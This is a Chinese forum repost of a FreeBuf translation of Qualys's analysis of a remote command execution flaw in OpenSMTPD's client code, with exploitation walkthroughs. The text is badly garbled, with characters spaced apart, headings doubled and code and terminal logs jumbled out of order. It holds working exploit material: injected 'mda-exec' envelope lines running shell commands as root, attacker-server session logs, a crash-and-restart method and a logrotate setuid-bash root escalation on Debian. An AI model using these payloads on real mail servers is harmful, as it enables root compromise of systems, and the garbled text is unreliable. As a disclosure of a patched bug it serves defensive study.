搜索

[15070] 2020-02-28_OpenBSDSMTP漏洞分析报告

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2020-02-28_OpenBSDSMTP漏洞分析报告 O p e n B S D   S M T P 漏 洞 分 析 报 告 K r i s t o n   F r e e B u f   2 0 2 0 - 0 2 - 2 8 安 全 人 员 在 安 全 人 员 在 O p e n B S D   S M T P 中 发 现 了 一 个 存 在 长 达 中 发 现 了 一 个 存 在 长 达 4 年 的 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 远 程 执 行 代 码 ， 多 个 年 的 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 远 程 执 行 代 码 ， 多 个 l i n u x 发 行 版 本 受 到 影 响 。 发 行 版 本 受 到 影 响 。 综 述 综 述 近 期 在 O p e n B S D 邮 件 服 务 器 中 发 现 了 一 个 漏 洞 。 此 漏 洞 是 在 2 0 1 5 年 1 2 月 引 入 的 越 界 读 取 （ c o m m i t   8 0 c 6 a 6 0 c ） 。 攻 击 者 可 远 程 利 用 该 漏 洞 ， 在 1 8 年 5 月 前 可 以 非 r o o t 权 限 执 行 任 意 s h e l l 命 令 ，   2 0 1 8 年 5 月 之 后 （ c o m m i t   a 8 e 2 2 2 3 5 ） 可 以 r o o t 权 限 执 行 s h e l l 命 令 。 因 为 此 漏 洞 位 于 O p e n S M T P D 的 客 户 端 代 码 中 ， 需 要 考 虑 两 个 不 同 的 情 况 ： 客 户 端 利 用 客 户 端 利 用 在 O p e n S M T P D （ 因 此 也 是 O p e n B S D ） 的 默 认 配 置 中 可 以 远 程 利 用 此 漏 洞 。 O p e n S M T P D 仅 监 听 本 地 主 机 ， 默 认 情 况 下 ， 它 接 受 来 自 本 地 用 户 的 邮 件 并 将 其 传 递 到 远 程 服 务 器 。 如 果 远 程 服 务 器 是 被 攻 击 者 控 制 ， 攻 击 者 可 以 在 存 在 漏 洞 的 O p e n S M T P D 上 执 行 任 意 s h e l l 命 令 。 服 务 器 端 利 用 服 务 器 端 利 用 首 先 ， 攻 击 者 必 须 连 接 到 O p e n S M T P D 服 务 器 （ 该 服 务 器 接 受 外 部 邮 件 ） 并 发 送 b o u n c e 邮 件 。 当 O p e n S M T P D 重 新 连 接 到 邮 件 服 务 器 传 递 b o u n c e 时 ， 攻 击 者 可 以 利 用 O p e n S M T P D 的 客 户 端 漏 洞 。 攻 击 者 必 须 使 O p e n S M T P D 崩 溃 并 等 待 它 重 新 启 动 后 才 能 执 行 命 令 。 影 响 版 本 影 响 版 本 安 全 人 员 已 针 对 漏 洞 开 发 利 用 程 序 与 补 丁 ， 漏 洞 存 在 版 本 ： O p e n B S D   6 . 6 （ 当 前 版 本 ） ， O p e n B S D   5 . 9 ， D e b i a n 1 0 （ 稳 定 版 ） ， D e b i a n   1 1 （ 测 试 版 ） 和 F e d o r a   3 1 。 漏 洞 分 析 漏 洞 分 析 S M T P 客 户 端 连 接 到 S M T P 服 务 器 并 发 送 E H L O 、 M A I L   F R O M 和 R C P T   T O 等 命 令 。 S M T P 服 务 器 以 单 行 或 多 行 回 复 ： 第 一 行 以 三 位 数 代 码 和 连 字 符 （ ' - ' ） 开 头 ， 后 跟 可 选 文 本 （ 例 如 ， “ 2 5 0 - E N H A N C E D S T A T U S C O D E S ” ） ； 最 后 一 行 以 相 同 的 三 位 数 代 码 开 头 ， 后 跟 可 选 空 格 （ '   ' ） 和 文 本 （ 例 如 ， “ 2 5 0   H E L P ” ） 。 在 O p e n S M T P D 的 客 户 端 代 码 中 ， 这 些 多 行 应 答 由 m t a _ i o （ ） 函 数 处 理 ： 1 0 9 8   s t a t i c   v o i d 1 0 9 9   m t a _ i o ( s t r u c t   i o   * i o ,   i n t   e v t ,   v o i d   * a r g ) 1 1 0 0   { . . . . 1 1 3 3                   c a s e   I O _ D A T A I N : 1 1 3 4                           n e x t l i n e : 1 1 3 5                                   l i n e   =   i o _ g e t l i n e ( s - > i o ,   & l e n ) ; . . . .
第 一 行   ( w h e n   l i n e [ 3 ]   = =   ' - ' ) 会 链 接 到 一 个 大 小 为 2 K B 的 r e p l y b u f ： 最 后 一 行   ( w h e n   l i n e [ 3 ]   ! =   ' - ' )   会 链 接 到 r e p l y b u f ： 如 果 最 后 一 行 的 三 位 数 代 码 后 面 没 有 可 选 的 空 格 和 文 本 ， p （ 在 1 1 9 6 行 ） 指 向 ' 0 ' 后 的 第 一 个 字 符 ， 越 界 字 符 串 链 接 到 r e p e a t b u f （ 在 第 1 2 0 1 行 ） 。 如 何 利 用 越 界 读 取 执 行 命 令 如 何 利 用 越 界 读 取 执 行 命 令 1 、 在 回 复 的 最 后 一 行 精 确 控 制 “ 越 界 ” 字 符 串 ， O p e n S M T P D 会 以 块 为 单 位 读 取 我 们 的 回 复 ， 而 不 是 逐 字 符 读 取 。 如 果 发 送 的 最 后 为 " x y z n s t r i n g 0 " ， “   s t r i n g ” 会 链 接 到 r e p e a t b u f 中 。 2 、 如 果 回 复 的 三 位 数 代 码 表 示 暂 时 错 误 （ 4 y z ） 或 永 久 错 误 （ 5 y z ） ， 则 R e p l y b u f 的 内 容 会 写 入 " e r r o r l i n e " 字 段 并 尝 试 传 递 邮 件 。 3 、 邮 件 基 本 形 式 为 ：   “   f i e l d ： d a t a     n ” ， 构 造 好 的 越 界 字 符 串 （ 写 入 " e r r o r l i n e " 字 段 ） 可 以 包 含 “     n ” 字 符 ： 因 此 可 以 在 邮 件 中 插 入 新 一 行 内 容 并 更 改 O p e n S M T P D 的 行 为 。 客 户 端 漏 洞 利 用 客 户 端 漏 洞 利 用 可 直 接 利 用 客 户 端 漏 洞 ， 等 待 O p e n S M T P D 连 接 到 服 务 器 ， 利 用 多 行 应 答 创 建   b o u n c e 并 注 入 以 下 内 容 ： t y p e :   m d a m d a - e x e c :   s h e l l   c o m m a n d d i s p a t c h e r :   l o c a l _ m a i l m d a - u s e r :   r o o t “ l o c a l _ m a i l ” 是 O p e n S M T P D 的 本 地 调 度 器 的 名 称 （ 默 认 配 置 ） ， 当 O p e n S M T P D 尝 试 传 递 b o u n c e 时 ， M D A 命 令 会 立 即 执 行 ， 因 为 注 入 内 容 已 将 其 类 型 从 M T A （ M e s s a g e   T r a n s f e r   A g e n t ） 更 改 为 M D A （ M e s s a g e   D e l i v e r y   A g e n t ） ， 示 例 如 下 ： 首 先 ， 在 O p e n B S D 机 器 上 ， 本 地 用 户 发 送 一 封 邮 件 （ 其 中 “ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] ” 是 攻 击 者 邮 件 服 务 器 的 I P 地 址 ） . . . . 1 1 4 6                                   i f   ( ( e r r o r   =   p a r s e _ s m t p _ r e s p o n s e ( l i n e ,   l e n ,   & m s g ,   & c o n t ) ) )   { 1 1 7 7                                   i f   ( c o n t )   { 1 1 7 8                                                   i f   ( s - > r e p l y b u f [ 0 ]   = =   ' 0 ' ) 1 1 7 9                                                                   ( v o i d ) s t r l c a t ( s - > r e p l y b u f ,   l i n e ,   s i z e o f   s - > r e p l y b u f ) ; 1 1 8 0                                                   e l s e   { 1 1 8 1                                                                   l i n e   =   l i n e   +   4 ; . . . . 1 1 8 7                                                                                   ( v o i d ) s t r l c a t ( s - > r e p l y b u f ,   l i n e ,   s i z e o f   s - > r e p l y b u f ) ; 1 1 8 8                                                   } 1 1 8 9                                                   g o t o   n e x t l i n e ; 1 1 9 0                                   } 1 1 9 5                                   i f   ( s - > r e p l y b u f [ 0 ]   ! =   ' 0 ' )   { 1 1 9 6                                                   p   =   l i n e   +   4 ; . . . . 1 2 0 1                                                   i f   ( s t r l c a t ( s - > r e p l y b u f ,   p ,   s i z e o f   s - > r e p l y b u f )   > =   s i z e o f   s - > r e p l y b u f ) $   i d
在 攻 击 者 邮 件 服 务 器 上 ： 最 后 在 O p e n B S D 机 器 上 会 执 行 命 令 ： 服 务 器 端 漏 洞 利 用 服 务 器 端 漏 洞 利 用 服 务 器 端 漏 洞 利 用 更 为 复 杂 ， 需 要 面 对 三 个 问 题 ： 1 、 漏 洞 代 码 位 于 客 户 端 而 不 是 服 务 端 ， 因 此 需 要 连 接 到 O p e n S M T P D 服 务 器 ， 通 过 发 送 邮 件 生 成 b o u n c e ， 等 待 O p e n S M T P D 回 连 到 自 己 的 邮 件 服 务 器 。 2 、 不 能 利 用 ‘ p e r m a n e n t   e r r o r ’ 回 复 b o u n c e 消 息 ， 服 务 器 会 直 接 丢 弃 （ d o u b l e   b o u n c e ） ， 因 此 可 以 利 用 ‘ t e m p o r a r y e r r o r ’ 回 复 并 注 入 内 容 。 3 、 O p e n S M T P D 不 会 立 刻 执 行 注 入 的 M D A 命 令 ， b o u n c e 会 在 其 M T A 队 列 之 中 而 不 是 M D A 队 列 ， 因 此 需 要 使 O p e n S M T P D 服 务 崩 溃 从 而 导 致 内 存 丢 失 ， 重 启 后 就 会 立 刻 执 行 M D A 中 的 命 令 。 示 例 如 下 ： 首 先 在 攻 击 者 邮 件 服 务 器 中 （ " 1 9 2 . 1 6 8 . 5 6 . 1 0 4 " 为 O p e n B S D 机 器 ， " 1 9 2 . 1 6 8 . 5 6 . 1 " 为 攻 击 者 邮 件 服 务 器 ， “ r o o t @ e x a m p l e . o r g ” 是 O p e n B S D 计 算 机 上 的 有 效 邮 件 地 址 ） ： $   i d u i d = 1 0 0 1 ( j o h n )   g i d = 1 0 0 1 ( j o h n )   g r o u p s = 1 0 0 1 ( j o h n ) $   e c h o   t e s t   |   / u s r / s b i n / s e n d m a i l   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] ' #   . / e n t - o f - l i n e . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 3 9 4 0 4 . . . < - -   M A I L   F R O M : < j o h n @ o b s d 6 6 . e x a m p l e . o r g > - - >   5 5 3 - E r r o r - - >   5 5 3 t y p e : m d a m d a - e x e c : X = ` m k t e m p   / t m p / x . X X X X X X ` & & i d > > $ X ; e x i t   0 d i s p a t c h e r : l o c a l _ m a i l m d a - u s e r : r o o t #   c a t   / t m p / x . * u i d = 0 ( r o o t )   g i d = 0 ( w h e e l )   g r o u p s = 0 ( w h e e l ) #   . / e n t - o f - l i n e   1 9 2 . 1 6 8 . 5 6 . 1 0 4   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] '   r o o t @ e x a m p l e . o r g . . . C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] > < - -   2 5 0   2 . 0 . 0   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 4 0 0 6 1 . . . < - -   M A I L   F R O M : < >
O p e n B S D 计 算 机 中 （ 管 理 员 重 启 O p e n S M T P D 前 后 ） : 旧 版 本 漏 洞 利 用 旧 版 本 漏 洞 利 用 在 旧 版 本 的 利 用 方 式 如 下 ， 注 入 内 容 为 ： 首 先 攻 击 者 邮 件 服 务 器 中 ： （ " 1 9 2 . 1 6 8 . 5 6 . 1 4 1 " 是 D e b i a n 计 算 机 ， " 1 9 2 . 1 6 8 . 5 6 . 1 " 是 攻 击 者 邮 件 服 务 器 ， “ r o o t @ e x a m p l e . o r g ” 是 D e b i a n 计 算 机 上 的 有 效 邮 件 地 址 ） - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : m d a m d a - e x e c : X = ` m k t e m p   / t m p / x . X X X X X X ` & & i d > > $ X ; e x i t   0 d i s p a t c h e r : l o c a l _ m a i l m d a - u s e r : r o o t C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] > < - -   2 5 0   2 . 0 . 0   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 0 4 : 2 0 0 3 7 . . . < - -   M A I L   F R O M : < > - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : i n v a l i d #   c a t   / t m p / x . * c a t :   / t m p / x . * :   N o   s u c h   f i l e   o r   d i r e c t o r y #   r c c t l   r e s t a r t   s m t p d s m t p d ( o k ) #   c a t   / t m p / x . * u i d = 0 ( r o o t )   g i d = 0 ( w h e e l )   g r o u p s = 0 ( w h e e l ) t y p e :   m d a m d a - b u f f e r :   o u r   a r b i t r a r y   s h e l l   c o m m a n d m d a - m e t h o d :   m d a m d a - u s e r :   n o b o d y m d a - u s e r t a b l e :   < g e t p w n a m > #   . / e n t - o f - l i n e   - u   n o b o d y   1 9 2 . 1 6 8 . 5 6 . 1 4 1   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] '   r o o t @ e x a m p l e . o r g . . . C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] >
在 D e b i a n 重 启 前 后 ： D e b i a n 中 （ 攻 击 者 攻 击 中 含 有 ‘ n o b o d y ’ 命 令 ） ： < - -   2 5 0   2 . 0 . 0 :   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 3 5 3 7 8 . . . < - -   M A I L   F R O M : < > - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : m d a m d a - b u f f e r : X = ` m k t e m p   / t m p / x . X X X X X X ` & & i d > > $ X ; e x i t   0 m d a - m e t h o d : m d a m d a - u s e r : n o b o d y m d a - u s e r t a b l e : < g e t p w n a m > C o n n e c t e d   t o   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 2 5 . . . - - >   M A I L   F R O M : < t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] > < - -   2 5 0   2 . 0 . 0 :   O k - - >   R C P T   T O : < r o o t @ e x a m p l e . o r g >   N O T I F Y = S U C C E S S < - -   2 5 0   2 . 1 . 5   D e s t i n a t i o n   a d d r e s s   v a l i d :   R e c i p i e n t   o k . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 3 5 3 8 0 . . . < - -   M A I L   F R O M : < > - - >   4 2 1 - E r r o r - - >   4 2 1 t y p e : i n v a l i d #   c a t   / t m p / x . * c a t :   ' / t m p / x . * ' :   N o   s u c h   f i l e   o r   d i r e c t o r y #   s y s t e m c t l   r e s t a r t   o p e n s m t p d . s e r v i c e #   c a t   / t m p / x . * u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   g r o u p s = 6 5 5 3 4 ( n o g r o u p ) $   i d u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   g r o u p s = 6 5 5 3 4 ( n o g r o u p ) $   m k d i r   - m   0 7 0 0   / t m p / m a i l d i r $   c d   / t m p / m a i l d i r $   l n   - s   / e t c   t m p $   l n   - s   / e t c / l o g r o t a t e . d   n e w
在 攻 击 者 服 务 器 中 ： 最 后 在 D e b i a n 机 器 中 ： 建 议 建 议 O p e n S M T P D   6 . 6 . 4 p 1 中 发 布 了 安 全 修 复 程 序 。 在 O p e n B S D 上 可 以 通 过 运 行 “ s y s p a t c h ” 命 令 打 上 补 丁 ， 并 重 启 O p e n S M T P D 服 务 。 * 参 考 来 源 ： 参 考 来 源 ： q u a l y s ， 由 ， 由 K r i s t o n 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 $   / u s r / s b i n / s e n d m a i l   ' t e s t @ [ 1 9 2 . 1 6 8 . 5 6 . 1 ] '   < <   ' E O F ' / v a r / l o g / l a s t l o g   {         m i s s i n g o k         r o t a t e   1         n o m a i l         s i z e   1         c o p y         f i r s t a c t i o n                 c p   - f   / b i n / b a s h   / v a r / l o g   & &   c h m o d   0 4 5 5 5   / v a r / l o g / b a s h         e n d s c r i p t } E O F #   . / e n t - o f - l i n e   - m   / t m p / m a i l d i r . . . C o n n e c t i o n   f r o m   1 9 2 . 1 6 8 . 5 6 . 1 4 1 : 3 5 3 8 2 . . . < - -   M A I L   F R O M : < n o b o d y @ d e b i a n > - - >   5 5 3 - E r r o r - - >   5 5 3 t y p e : m d a m d a - b u f f e r : / t m p / m a i l d i r m d a - m e t h o d : m a i l d i r m d a - u s e r : r o o t m d a - u s e r t a b l e : < g e t p w n a m > $   i d u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   g r o u p s = 6 5 5 3 4 ( n o g r o u p ) $   / v a r / l o g / b a s h   - p #   i d u i d = 6 5 5 3 4 ( n o b o d y )   g i d = 6 5 5 3 4 ( n o g r o u p )   e u i d = 0 ( r o o t )   g r o u p s = 6 5 5 3 4 ( n o g r o u p )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理